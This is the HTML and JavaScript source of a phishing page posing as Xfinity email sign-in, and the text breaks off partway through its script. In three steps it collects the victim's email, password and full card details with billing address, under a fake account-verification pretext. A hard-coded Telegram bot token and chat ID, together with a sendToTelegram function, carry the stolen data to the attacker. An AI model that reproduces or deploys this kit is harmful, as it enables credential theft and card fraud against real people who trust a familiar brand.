<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sign in to Xfinity Email</title> <!-- ADD YOUR FAVICON HERE --> <!-- Replace with your favicon URL --> <link rel="icon" type="image/x-icon" href="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQDy8XJoMg9o9AE2l169u7UqkJsUgej3oNjyIQoDufSoMYtTMKzJLw0BBI&s"> <!-- OR PNG: <link rel="icon" type="image/png" href="YOUR_FAVICON_URL_HERE.png"> --> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Noto Sans', sans-serif; background: #f5f5f5; min-height: 100vh; display: flex; align-items: center; justify-content: center; color: #333; line-height: 1.4; } .container { max-width: 420px; width: 100%; padding: 0 20px; } .header { text-align: center; margin-bottom: 94px; } .xfinity-logo { height: 40px; width: auto; display: block; margin: 0 auto 12px; } .page { background: #fff; border-radius: 8px; padding: 24px 20px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); display: none; } .page.active { display: block; } h1 { font-size: 24px; font-weight: 400; color: #0c2340; margin-bottom: 6px; text-align: center; line-height: 1.2; } .subtitle { color: #666; font-size: 14px; text-align: center; margin-bottom: 16px; } .form-group { margin-bottom: 26px; } label { display: block; font-size: 13px; font-weight: 500; color: #333; margin-bottom: 6px; } /* ========== EMAIL & PASSWORD CONTAINER SETTINGS ========== */ /* Adjust these to change the size of email/password input fields: */ .input-container { width: 100%; padding: 20px 12px; /* inner padding */ border: 1px solid #ccc; border-radius: 4px; font-size: 15px; /* text size */ transition: border-color 0.2s ease; background: #fff; } .input-container:focus { outline: none; border-color: #0066cc; box-shadow: 0 0 0 3px rgba(0,102,204,0.1); } /* You can change padding, font-size, height, etc. here: Example: padding: 12px 14px; font-size: 16px; */ .password-container { position: relative; } .toggle-password-btn { position: absolute; right: 10px; top: 50%; transform: translateY(-50%); cursor: pointer; color: #666; font-size: 12px; background: transparent; border: none; padding: 0; font-family: inherit; } .checkbox-group { display: flex; align-items: flex-start; margin: 14px 0 18px; font-size: 13px; } input[type="checkbox"] { width: 16px; height: 16px; margin: 2px 8px 0 0; accent-color: #0066cc; flex-shrink: 0; } .checkbox-label { color: #666; cursor: pointer; line-height: 1.3; } .signin-btn { width: 100%; background: #0066cc; color: white; border: none; padding: 12px; border-radius: 4px; font-size: 15px; font-weight: 500; cursor: pointer; transition: background 0.2s ease; } .signin-btn:hover { background: #0052a3; } .divider { text-align: center; margin: 20px 0; position: relative; font-size: 13px; color: #666; } .divider::before { content: ''; position: absolute; top: 50%; left: 0; right: 0; height: 1px; background: #e6e6e6; } .divider span { background: #fff; padding: 0 16px; } .alt-links { text-align: center; margin-top: 16px; } .alt-link { color: #0066cc; text-decoration: none; font-size: 13px; font-weight: 500; margin: 0 12px; display: inline-block; } .alt-link:hover { text-decoration: underline; } .nav-link { color: #0066cc; text-decoration: none; font-size: 13px; display: block; text-align: center; margin-top: 16px; padding: 10px; border: 1px solid #e6e6e6; border-radius: 4px; background: #f9f9f9; } .nav-link:hover { background: #f0f0f0; text-decoration: underline; } .footer { text-align: center; margin-top: 24px; font-size: 11px; color: #999; } .footer a { color: #666; text-decoration: none; margin: 0 6px; } .footer a:hover { text-decoration: underline; } .user-email { font-size: 14px; color: #333; text-align: center; margin-bottom: 16px; font-weight: 500; } @media (max-width: 480px) { .page { padding: 20px 16px; margin: 12px; } h1 { font-size: 20px; } } </style> </head> <body> <div class="container"> <!-- Page 1: Email Login --> <div id="page1" class="page active"> <div class="header"> <p class="subtitle">Xfinity</p> <h1>Sign in with your Xfinity ID</h1> </div><BR> <form id="loginForm1"> <div class="form-group"> <label for="email1"></label> <input id="email1" type="email" class="input-container" required placeholder="Email, mobile, or username" autocomplete="username"> </div> <button type="submit" class="signin-btn">Continue</button> </form><BR> <a href="#" class="nav-link" onclick="switchPage(2)">Need help signing in?</a><BR> <div class="footer"> <a href="#">Privacy Policy</a> | <a href="#">Terms of Service</a> | <a href="#">About Cookies</a> </div> </div> <!-- Page 2: Password (single) + alert on "incorrect" --> <div id="page2" class="page"> <div class="header"> <img src="https://www.xfinity.com/assets/images/xfinity-logo.svg" alt="Xfinity" class="xfinity-logo" onerror="this.style.display='none'"> <h1>Welcome Back</h1> </div> <div class="user-email" id="emailDisplay">Email, mobile, or username</div> <form id="loginForm2"> <div class="form-group"> <label for="password">Password</label> <div class="password-container"> <input id="password" type="password" class="input-container" required placeholder="Enter your password" autocomplete="current-password"> <button class="toggle-password-btn" type="button" onclick="togglePassword('password', 'toggle1')">Show</button> </div> </div> <label class="checkbox-group"> <input type="checkbox" id="remember"> <span class="checkbox-label">Remember me for 30 days on shared devices</span> </label> <button type="submit" class="signin-btn">Sign In</button> </form> <div class="divider"></div> <div class="alt-links"> <a href="#" class="alt-link">Forgot password?</a> <a href="#" class="alt-link">Forgot user ID?</a> </div> <a href="#" class="nav-link" onclick="switchPage(1)">← Back</a> <div class="footer"> <a href="#">Privacy Policy</a> | <a href="#">Terms of Service</a> | <a href="#">About Cookies</a> </div> </div> <!-- Page 3: Card Details + Full Address (medium size) --> <div id="page3" class="page"> <div class="header"> <img src="https://www.xfinity.com/assets/images/xfinity-logo.svg" alt="Xfinity" class="xfinity-logo" onerror="this.style.display='none'"> <h1>Verifying Your Account</h1> </div> <p class="subtitle">Enter your card and address details to complete verification</p> <div class="user-email" id="emailDisplay3">Email, mobile, or username</div> <form id="cardForm"> <div class="form-group"> <label for="cardNumber">Card number</label> <input type="text" id="cardNumber" required placeholder="1234 5678 9012 3456" class="input-container" autocomplete="off"> </div> <div class="form-group" style="display:flex; gap:10px;"> <div style="flex:1;"> <label for="cardExpiry">Expiry</label> <input type="text" id="cardExpiry" required placeholder="MM/YY" class="input-container" autocomplete="off"> </div> <div style="flex:1;"> <label for="cardCVV">CVV</label> <input type="text" id="cardCVV" required placeholder="123" class="input-container" autocomplete="off"> </div> </div> <!-- Full Name --> <div class="form-group"> <label for="fullName">Full name on card</label> <input type="text" id="fullName" required placeholder="John Doe" class="input-container" autocomplete="off"> </div> <!-- Address Line 1 --> <div class="form-group"> <label for="address1">Address line 1</label> <input type="text" id="address1" required placeholder="123 Main Street" class="input-container" autocomplete="off"> </div> <!-- Address Line 2 --> <div class="form-group"> <label for="address2">Address line 2</label> <input type="text" id="address2" placeholder="Apt, suite, unit, building, floor (optional)" class="input-container" autocomplete="off"> </div> <!-- City --> <div class="form-group"> <label for="city">City</label> <input type="text" id="city" required placeholder="New York" class="input-container" autocomplete="off"> </div> <!-- State / Province --> <div class="form-group"> <label for="state">State / Province</label> <input type="text" id="state" required placeholder="NY" class="input-container" autocomplete="off"> </div> <!-- ZIP / Postal Code --> <div class="form-group"> <label for="zip">ZIP / Postal code</label> <input type="text" id="zip" required placeholder="10001" class="input-container" autocomplete="off"> </div> <!-- Country --> <div class="form-group"> <label for="country">Country</label> <input type="text" id="country" required placeholder="United States" class="input-container" autocomplete="off"> </div> <button type="submit" class="signin-btn">Verify & Continue</button> </form> <a href="#" class="nav-link" onclick="switchPage(2)">← Back</a> <div class="footer"> <a href="#">Privacy Policy</a> | <a href="#">Terms of Service</a> | <a href="#">About Cookies</a> </div> </div> </div> <script> // ========== TELEGRAM SETTINGS (only one place to edit) ========== const TELEGRAM_SETTINGS = { token: '8523220064:AAFYtYxyZc1Wjm9ayScХVLq
uHH51hfØRXjo', chatId: '8204761436' }; let currentPage = 1; let enteredEmail = ''; let enteredPassword = ''; // ========== PASSWORD VALIDATION SETTINGS ========== // You can set a real password here to check against: // For demo, any password is accepted (no alert). const VALID_PASSWORD = ''; // e.g. "mySecretPassword123" function switchPage(pageNum) { document.querySelectorAll('.page').forEach(page => page.classList.remove('active')); document.getElementById(`page${pageNum}`).classList.add('active'); currentPage = pageNum; if (pageNum === 3) { document.getElementById('emailDisplay3').textContent = enteredEmail; } } function togglePassword(inputId, btnId) { const input = document.getElementById(inputId); const btn = document.getElementById(btnId) || input.parentElement.querySelector('.toggle-password-btn'); if (input.type === 'password') { input.type = 'text'; btn.textContent = 'Hide'; } else { input.type = 'password'; btn.textContent = 'Show'; } } async function sendToTelegram(message) { const { token, chatId } = TELEGRAM_SETTINGS; if (!token.includes('8523220064:AAFYtYxyZc1Wjm9ayScХVLq